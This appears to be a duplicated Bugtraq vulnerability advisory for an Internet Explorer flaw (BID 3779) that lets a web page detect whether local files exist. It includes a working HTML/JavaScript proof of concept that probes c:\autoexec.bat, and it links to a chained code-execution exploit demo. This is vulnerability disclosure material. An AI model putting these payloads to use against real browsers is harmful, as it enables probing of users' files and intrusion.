Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
BID:3779
Info
Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
| Bugtraq ID: | 3779 |
| Class: | Design Error |
| CVE: |
CVE-2002-2031 CVE-2002-2031 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 03 2002 12:00AM |
| Updated: | Jan 25 2014 06:03AM |
| Credit: | This vulnerability was submitted to BugTraq by Tom Micklovitch <[email protected]> on January 3rd, 2001. |
| Vulnerable: |
Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 5.0 |
| Not Vulnerable: |
Microsoft Internet Explorer 6.0 |
Discussion
Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.
When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'.
Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.
When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'.
Exploit / POC
Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
The following example was submitted by Tom Micklovitch <[email protected]>:
<html>
<head>
<script language="javascript">
<!--
var fileExists = false;
function yes()
{
alert("the file exists.");
yes = true;
}
function no()
{
if(!fileExists)
{
alert("the file does not exist.");
}
}
window.onerror = yes
window.onload = no
//-->
</script>
<script language="javascript"
src="file://c:\autoexec.bat"></script>
</head>
</html>
Liu Die Yu has developed a proof of concept exploit to demonstrate arbitrary code execution using a combination of unpatched Internet Explorer vulnerabilities. Successful exploitation of these vulnerabilities combines results in the execution of a cached executable file supplied by an attacker. The issues known to be exploited in cobmination with the issue described in this BID, are described in the following BIDs:
BID 8980 - Microsoft Internet Explorer Double Slash Cache Zone Bypass Vulnerability
BID 8886 - Microsoft Internet Explorer Local Resource Reference Vulnerability
BID 8577 - Multiple Microsoft Internet Explorer Script Execution Vulnerabilities
The exploit can be obtained by visiting the following demo page provided by Liu Die Yu or by downloading execdror5-Demo.zip below.
http://www.safecenter.net/UMBRELLAWEBV4/execdror5/execdror5-MyPage.htm
The following example was submitted by Tom Micklovitch <[email protected]>:
<html>
<head>
<script language="javascript">
<!--
var fileExists = false;
function yes()
{
alert("the file exists.");
yes = true;
}
function no()
{
if(!fileExists)
{
alert("the file does not exist.");
}
}
window.onerror = yes
window.onload = no
//-->
</script>
<script language="javascript"
src="file://c:\autoexec.bat"></script>
</head>
</html>
Liu Die Yu has developed a proof of concept exploit to demonstrate arbitrary code execution using a combination of unpatched Internet Explorer vulnerabilities. Successful exploitation of these vulnerabilities combines results in the execution of a cached executable file supplied by an attacker. The issues known to be exploited in cobmination with the issue described in this BID, are described in the following BIDs:
BID 8980 - Microsoft Internet Explorer Double Slash Cache Zone Bypass Vulnerability
BID 8886 - Microsoft Internet Explorer Local Resource Reference Vulnerability
BID 8577 - Multiple Microsoft Internet Explorer Script Execution Vulnerabilities
The exploit can be obtained by visiting the following demo page provided by Liu Die Yu or by downloading execdror5-Demo.zip below.
http://www.safecenter.net/UMBRELLAWEBV4/execdror5/execdror5-MyPage.htm
Solution / Fix
Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft Internet Explorer JavaScript Local File Enumeration Vulnerability
References:
References:
- execdror5 Demo Page (Liu Die Yu)